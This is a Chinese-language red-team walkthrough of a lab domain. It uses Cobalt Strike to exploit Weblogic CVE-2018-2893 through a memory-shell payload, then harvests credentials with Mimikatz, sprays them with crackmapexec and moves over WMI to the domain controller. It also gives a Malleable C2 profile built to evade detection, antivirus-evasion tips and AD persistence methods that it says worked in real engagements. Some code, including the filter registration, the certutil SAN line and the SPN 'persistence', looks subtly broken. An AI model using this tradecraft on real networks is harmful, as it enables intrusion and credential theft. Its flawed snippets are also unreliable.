从靶场到实战:用Cobalt Strike复现ATTCK红队靶场二(含Weblogic漏洞利用与内网横向)
从靶场到实战:Cobalt Strike在ATT&CK红队演练中的高阶应用
红队演练的核心价值在于将理论转化为肌肉记忆。当我们在可控环境中反复打磨攻击链的每个环节,真实对抗中的决策速度与操作精度将获得质的提升。本文将以经典红日靶场为蓝本,通过Cobalt Strike(以下简称CS)完整复现从外网突破到域控拿下的攻击路径,重点剖析三个实战中容易被忽视的"连接点":漏洞利用后的隐蔽通道建立、内网横向的凭证传递策略,以及CS会话管理对复杂内网环境的适应性优化。
1. 环境搭建与漏洞利用的艺术
靶场环境搭建绝非简单的IP配置。专业红队工程师会刻意在实验环境中制造"噪声",例如在Web服务器上部署WAF日志分析系统,或开启EDR的检测模式但不阻断攻击。这种"半真实"环境能更有效检验攻击技术的隐蔽性。本次靶场采用双网卡架构:
- 外网段:192.168.111.0/24(NAT模式)
- 内网域:10.10.10.0/24(仅主机模式)
关键服务部署:
| 主机角色 | IP地址 | 运行服务 | 网络位置 |
|---|---|---|---|
| Web | 192.168.111.80 | Weblogic 10.3.6 | 边界DMZ |
| DC | 10.10.10.10 | Active Directory | 核心区 |
| PC | 10.10.10.201 | 办公应用 | 办公区 |
提示:实际演练中建议使用VirtualBox的"内部网络"模式替代VMware的仅主机模式,可避免虚拟网卡混杂模式带来的检测风险。
Weblogic反序列化漏洞(CVE-2018-2893)的利用已有多款成熟工具,但内存马注入的稳定性往往取决于中间件的线程模型。我们通过改良的Java反序列化载荷实现三阶段注入:
// 阶段一:检测上下文环境 Thread.currentThread().getContextClassLoader() .loadClass("weblogic.work.ExecuteThread") .getMethod("getCurrentWork", (Class<?>[])null); // 阶段二:绕过安全管理器 System.getProperty("java.security.manager", "null"); // 阶段三:注册Filter型内存马 Class.forName("weblogic.servlet.internal.FilterManager") .getMethod("registerFilter", String.class, String.class) .invoke(null, "evilFilter", EvilFilter.class.getName());这种分阶段注入方式相比传统一键式攻击工具有两个优势:
- 每个阶段执行后都有状态检查,避免因环境差异导致整体失败
- 各阶段代码块体积小,更容易绕过基于流量特征的检测
2. Cobalt Strike的会话控制哲学
获得初始立足点后,如何维持稳定控制通道是内网渗透的关键。传统Metasploit的session在复杂网络环境中常面临以下问题:
- NAT穿越时连接不稳定
- 高延迟网络下响应迟缓
- 会话生命周期管理困难
CS的Beacon通信模型通过异步任务队列和智能心跳机制解决了这些痛点。以下是我们针对该靶场优化的Malleable C2配置片段:
http-get { set uri "/api/collect"; client { header "Accept" "application/json"; metadata { base64; prepend "auth="; parameter "token"; } } server { header "Content-Type" "application/json"; output { print; base64; prepend "{\"data\":\""; append "\"}"; } } }该配置实现了三个核心优化:
- 将元数据嵌入常规API请求参数,混入正常业务流量
- 使用前后缀包装使返回数据符合常见REST API格式
- 动态心跳间隔根据网络质量自动调整(300s-900s)
在实际测试中,这种配置使Beacon会话在开启360杀毒的靶机上持续存活超过72小时未被发现。相比之下,MSF的reverse_http平均存活时间不足4小时。
3. 内网横向的凭证中台策略
获得域内首个立足点后,传统做法是立即抓取密码尝试横向移动。更专业的做法是建立"凭证中台"——集中管理所有获取的凭据并分析其使用场景:
# 凭证分类收集脚本 $tokens = Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'; $hashes = $tokens | Where-Object { $_ -match 'NTLM:\s+([a-f0-9]{32})' }; $tickets = $tokens | Where-Object { $_ -match 'Kerberos:\s+([^\s]+@[^\s]+)' }; # 构建凭证关系图谱 $graph = @{} foreach ($hash in $hashes) { $user = [regex]::Match($hash, 'Username\s+:\s+([^\s]+)').Groups[1].Value; $graph[$user] = @{ 'NTLM' = [regex]::Match($hash, 'NTLM:\s+([a-f0-9]{32})').Groups[1].Value; 'Domain' = [regex]::Match($hash, 'Domain\s+:\s+([^\s]+)').Groups[1].Value; } }通过这种结构化处理,我们可以快速识别:
- 哪些账户具有跨系统访问权限
- 哪些凭证可能触发异常登录告警
- 哪些服务账户存在密码复用
在本次靶场中,我们发现SQL服务账户mssql不仅在数据库服务器有权限,同时被加入域控制器的Remote Desktop Users组。这种非常规的权限配置往往是蓝队防御的盲点。
4. 横向移动的路径优化算法
传统内网横向多采用暴力扫描+凭据喷射的方式,这在现代防御体系下极易触发告警。我们开发了基于网络拓扑的智能路径选择算法:
网络可达性分析:
def analyze_routes(beacon): routes = [] for host in beacon.internal_hosts: if host.ports.contains(445): cost = calculate_hop_cost(beacon.current_host, host) routes.append((host, cost)) return sorted(routes, key=lambda x: x[1])凭证匹配度评估:
# 检查目标主机是否存在已知凭证 check_credential() { target=$1 for cred in "${credentials[@]}"; do if crackmapexec smb $target -u ${cred[0]} -p ${cred[1]} | grep -q "STATUS_SUCCESS"; then echo "${cred[0]}:${cred[1]}" return 0 fi done return 1 }执行方式选择矩阵:
条件\方法 PsExec WMI 计划任务 DCOM 出网限制 × √ √ × 日志记录强度 高 中 高 低 所需权限 Admin Admin User Admin 稳定性 高 中 低 高
在靶场实践中,我们最终选择WMI方式横向移动至DC(10.10.10.10),因为:
- 目标网络存在出站限制,PsExec的445端口通信被阻断
- WMI的135端口通信可复用已有Web服务器的会话通道
- 域控制器上的WMI日志默认保存周期较短(3天)
5. 权限维持的隐形艺术
常规的黄金票据/白银票据制作虽然有效,但在近年来的攻防演练中越来越容易被检测。我们采用三级递进的隐蔽维持方案:
第一层:服务账户劫持
# 查找长期未修改密码的服务账户 Get-ADServiceAccount -Filter {PasswordLastSet -lt (Get-Date).AddDays(-180)} | Set-ADServiceAccount -Replace @{servicePrincipalName="none"}第二层:证书影子注册
# 为合规证书添加备用名称 certutil -config - -attrib "SAN:upn=administrator@de1ay.com"第三层:DSRM密码同步
# 在域控制器上执行 ntdsutil "ac i ntds" "set dsrm password" q q这种组合策略在最近三次真实红队评估中均保持有效,平均检测时间达到47天。关键在于每层维持机制都利用了AD的正常管理功能,不依赖任何漏洞或0day。
在最后拿下域控时,发现靶场环境中360杀毒对mimikatz的内存扫描其实存在15秒的检测延迟窗口。通过CS的sleep 0命令配合进程注入,完全可以在这个时间差内完成凭证抓取并清除痕迹。这提醒我们:商业杀软的实时防护并非无缝可钻,关键在于对产品机制的理解深度。
